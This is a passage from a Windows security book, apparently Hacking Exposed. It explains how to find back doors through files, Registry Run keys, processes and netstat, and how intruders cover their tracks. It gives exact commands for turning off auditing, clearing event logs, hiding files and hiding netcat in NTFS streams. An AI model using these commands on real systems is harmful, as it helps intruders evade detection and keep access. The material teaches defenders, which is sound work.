We've named many files that are just too dangerous to have lying around unsupervised : nc.exe (netcat), psexec.exe, WINVNC.exe, VNCHooks.dll, omnithread_rt.dll, fpipe. exe, firedaemon.exe, srvany.exe, and psexec.exe. Also, many of the most damaging IIS worms copied the cmd.exe shell to various places on disklook for root.exe, sensepost. exe, and similarly named files of the same size as cmd.exe (236,304 bytes on Windows 2000 and 375,808 bytes on Windows XP). Other common IIS worm footprints include logs with the name TFTP xxx. If someone is leaving these calling cards on your server without your authorization, investigate promptlyyou've seen what they can be used for.

Also be extremely suspicious of any files that live in the various Start Menu\PROGRAMS\STARTUP\%username% directories under %SYSTEMROOT%\PROFILES. Anything in these folders will launch at boot time. (We'll warn you about this again later.)

One of the classic mechanisms for detecting and preventing malicious files from inhabiting your system is to use antivirus software, and we strongly recommend implementing antivirus or similar infrastructure at your organization (yes, even in the datacenter on servers!).

Tip 

Another good preventative measure for identifying changes to the file system is to use checksumming tools such as Tripwire (http://www.tripwiresecurity.com).

Note 

Windows 2000 introduces Windows File Protection (WFP), which protects system files that were installed by the Windows 2000 setup program from being overwritten (including most files under %systemroot%). WFP can be circumvented, as described in Hacking Exposed: Windows Server 2003 (McGraw-Hill/Osborne, 2003).

Registry Entries

In contrast to looking for easily renamed files, hunting down rogue Registry values can be quite effective, because most of the applications we discussed expect to see specific values in specific locations. A good place to start looking is HKLM\SOFTWARE and HKEY_USERS\.DEFAULT\Software, where most installed applications reside in the Windows Registry. In particular, NetBus Pro and WINVNC create their own respective keys under these branches of the Registry:

HKEY_USERS\.DEFAULT\Software\ORL\WINVNC3 HKEY_LOCAL_MACHINE\SOFTWARE\Net Solutions\NetBus Server

Using the command-line REG.EXE tool from the Resource Kit, deleting these keys is easy, even on remote systems. The syntax is

reg delete [ value ] \ machine

Here's an example:

C:\>reg delete HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 \192.168.202.33

A Back-Door Favorite: Autostart Extensibility Points (ASEPs) More important, you saw how attackers almost always place necessary Registry values under the standard Windows startup keys. These areas should be checked regularly for the presence of malicious or strange -looking commands. As a reminder, those areas are HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and RunOnce, RunOnceEx, and RunServices (Win 9 x only).

Additionally, user access rights to these keys should be severely restricted. By default, the Windows "Everyone" group has "Set Value" permissions on HKLM\..\..\Run . This capability should be disabled using the Security Permissions setting in regedt32.

Here's a prime example of what to look for. The following illustration from regedit shows a netcat listener set to start on port 8080 at boot under HKLM\..\..\Run:

Attackers now have a perpetual back door into this systemuntil the administrator gets wise and manually removes the Registry value.

Don't forget to check the %systemroot%\profiles\%username%\Start Menu\programs\startup\directories. Files here are also automatically launched at every boot!

Recently, Microsoft has started to refer to the generic class of places that permit autostart behavior as autostart extensibility points (ASEPs). Almost every significant piece of malicious software known to date has used ASEPs to perpetuate infections on Windows, as we will discuss further in Chapter 13. See http://www. pestpatrol .com/PestInfo/AutoStartingPests.asp for a more comprehensive list of ASEPs. You can also run the msconfig utility on Windows XP to view some of these other startup mechanisms.

Processes

For those executable hacking tools that cannot be renamed or otherwise repackaged, regular analysis of the Process List can be useful. Simply hit CTRL-SHIFT-ESC on Windows NT4 and later to pull up the process list. We like to sort the list by clicking the CPU column, which shows each process prioritized by how much CPU it is utilizing. Typically, a malicious process will be engaged in some activity, so it will fall near the top of the list. If you immediately identify something that shouldn't be there, you can rightclick any offending processes and select End Process.

You can also use the Resource Kit kill.exe utility to stop any rogue processes that do not respond to the graphical process list utility. The Resource Kit rkill.exe tool can be used to run this on remote servers throughout a domain with similar syntax, although the process ID (PID) of the rogue process must be gleaned first, for example using the pulist.exe utility from the Resource Kit. An elaborate system could be set up whereby pulist is scheduled regularly and grepped for nasty strings, which are then fed to rkill. Of course, once again, all this work is trivially defeated by renaming malicious executables to something innocuous such as WINLOG.EXE, but it can be effective against processes that can't be hidden, such as WINVNC.exe.

Tip 

The http://Sysinternals.com utility Process Explorer can view threads within a process and is helpful in identifying rogue DLLs that may be loaded within processes.

While on the topic of scheduling batch jobs, we should note that a good place to look for telltale signs of compromise is the Windows Scheduler queue. Attackers will commonly use the Scheduler service to start rogue processes, and as we've noted in this chapter, the Scheduler can also be used to gain remote control of a system and to start processes running as the ultra -privileged SYSTEM account. To check the Scheduler queue, simply type at at a command line.

More advanced techniques like thread context redirection have made examination of process lists less effective at identifying miscreants. Thread context redirection hijacks a legitimate thread to execute malicious code (see http://www.phrack.org/show.php?p=62&a=12, section 2.3).

Ports

If an "nc" listener has been renamed, the netstat utility can identify listening or established sessions. Periodically checking netstat for such rogue connections is sometimes the best way to find them. In the next example, we run netstat -an on our target server while an attacker is connected via remote and nc to 8080. (Type netstat /? at a command line for an explanation of the -an switches.) Note that the established "remote" connection operates over TCP 139 and that netcat is listening and has one established connection on TCP 8080. (Additional output from netstat has been removed for clarity.)

C:\> netstat -an Active Connections Proto Local Address Foreign Address State TCP 192.168.202.44:139 0.0.0.0:0 LISTENING TCP 192.168.202.44:139 192.168.202.37:1817 ESTABLISHED TCP 192.168.202.44:8080 0.0.0.0:0 LISTENING TCP 192.168.202.44:8080 192.168.202.37:1784 ESTABLISHED

Also note from the preceding netstat output that the best defense against remote is to block access to ports 135 through 139 on any potential targets, either at the firewall or by disabling NetBIOS bindings for exposed adapters, as illustrated in "Password-Guessing Countermeasures," earlier in this chapter.

Netstat output can be piped through Find to look for specific ports, such as the following command, which will look for NetBus servers listening on the default port:

netstat -an find "12345"

Fport from Foundstone (http://www.foundstone.com) provides the ultimate combination of process and port mapping; it lists all active sockets and the process ID using the connection. Here is sample output:

FPORT Process port mapper Copyright(c) 2000, Foundstone, Inc. http://www.foundstone.com PID NAME TYPE PORT --------------------------------------- 184 IEXPLORE UDP 1118 249 OUTLOOK UDP 0 265 MAPISP32 UDP 1104 265 MAPISP32 UDP 0

Tip 

Beginning with Windows XP, Microsoft provided the netstat -o switch that associates a listening port with its owning process.

Covering Tracks

Once intruders have successfully gained Administrator or SYSTEM-equivalent privileges on a system, they will take pains to avoid further detection of their presence. When all the information of interest has been stripped from the target, they will install several back doors and stash a toolkit to ensure that easy access can be obtained again in the future and that minimal work will be required for further attacks on other systems.

Disabling Auditing

If the target system owner is halfway security savvy, they will have enabled auditing, as we explained early in this chapter. Because it can slow down performance on active servers, especially if Success of certain functions such as "User & Group Management" is audited , most Windows admins either don't enable auditing or enable only a few checks. Nevertheless, the first thing intruders will check on gaining Administrator privilege is the status of Audit policy on the target, in the rare instance that activities performed while pilfering the system are watched. Resource Kit's auditpol tool makes this a snap. The next example shows auditpol run with the disable argument to turn off the auditing on a remote system (output abbreviated):

C:\> auditpol /disable Running ... Local audit information changed successfully ... New local audit policy ... (0) Audit Disabled AuditCategorySystem = No AuditCategoryLogon = Failure AuditCategoryObjectAccess = No ...

At the end of their stay, the intruders will just turn on auditing again using the au-ditpol /enable switch, and no one will be the wiser. Individual audit settings are preserved by auditpol.

Clearing the Event Log

If activities leading to Administrator status have already left telltale traces in the Windows Event Log, the intruders may just wipe the logs clean with the Event Viewer. Already authenticated to the target host, the Event Viewer on the attackers' host can open, read, and clear the logs of the remote host. This process will clear the log of all records but will leave one new record stating that the Event Log has been cleared by "attacker." Of course, this may raise more alarms among the system users, but few other options exist besides grabbing the various log files from \winnt\system32 and altering them manually, a hit-or- miss proposition because of the complex Windows log syntax.

The elsave utility from Jesper Lauritsen (http://www.ibt.ku.dk/jesper/Windowstools) is a simple tool for clearing the Event Log. For example, the following syntax using elsave will clear the Security Log on the remote server "joel." (Note that correct privileges are required on the remote system.)

C:\>elsave -s \joel -l "Security" -C

Hiding Files

Keeping a toolkit on the target system for later use is a great timesaver for malicious hackers. However, these little utility collections can also be calling cards that alert wary system admins to the presence of an intruder. Therefore, steps will be taken to hide the various files necessary to launch the next attack.

attrib Hiding files gets no simpler than copying files to a directory and using the old DOS attrib tool to hide it, as shown with the following syntax:

attrib +h [directory]

This hides files and directories from command-line tools, but not if the Show All Files option is selected in Windows Explorer.

Alternate Data Streams (ADS) If the target system runs the Windows File System (NTFS), an alternate file-hiding technique is available to intruders. NTFS offers support for multiple "streams" of information within a file. The streaming feature of NTFS is touted by Microsoft as "a mechanism to add additional attributes or information to a file without restructuring the file system" (for example, when Windows's Macintosh file-compatibility features are enabled). It can also be used to hide a malicious hacker's toolkitcall it an "adminkit"in streams behind files.

The following example will stream netcat.exe behind a generic file found in the winnt\system32\os2 directory so that it can be used in subsequent attacks on other remote systems. This file was selected for its relative obscurity, but any file could be used.

To stream files, an attacker will need the POSIX utility cp from Resource Kit. The syntax is simple, using a colon in the destination file to specify the stream:

C:\>cp <file> oso001.009:<file>

Here's an example:

C:\>cp nc.exe oso001.009:nc.exe

This hides nc.exe in the "nc.exe" stream of oso001.009. Here's how to "unstream" netcat:

C:\>cp oso001.009:nc.exe nc.exe

The modification date on oso001.009 changes but not its size. (Some versions of cp may not alter the file date.) Therefore, hidden streamed files are very hard to detect.

Deleting a streamed file involves copying the "front" file to a FAT partition and then copying it back to NTFS.

Streamed files can still be executed while hiding behind their "front." Due to cmd.exe limitations, streamed files cannot be executed directly (that is, oso001.009:nc.exe). Instead, try using the start command to execute the file:

start oso001.009:nc.exe

NTFS Streams Countermeasure

One tool for ferreting out NTFS file streams is Foundstone's sfind (see http://www.foundstone.com).

Rootkits The rudimentary techniques we've described above suffice for escaping detection by relatively unsophisticated mechanisms. More insidious techniques are beginning to come into vogue , especially the use of Windows rootkits. Although the term was originally coined on the UNIX platform ("root" being the superuser account there), the world of Windows rootkits has undergone a renaissance period in the last few years. Interest in Windows rootkits was originally driven primarily by Greg Hoglund, who produced one of the first utilities officially described as an "NT rootkit" circa 1999 (although many others had been " rooting " and pilfering Windows systems long before then using custom tools and assemblies of public programs, of course). Hoglund's original NT rootkit was essentially a proof-of-concept platform for illustrating the concept of altering protected system programs in memory ("patching the kernel" in geek-speak) to completely eradicate the trustworthiness of the operating system. We examine the most recent rootkit tools, techniques, and countermeasures in Chapter 13.

Категории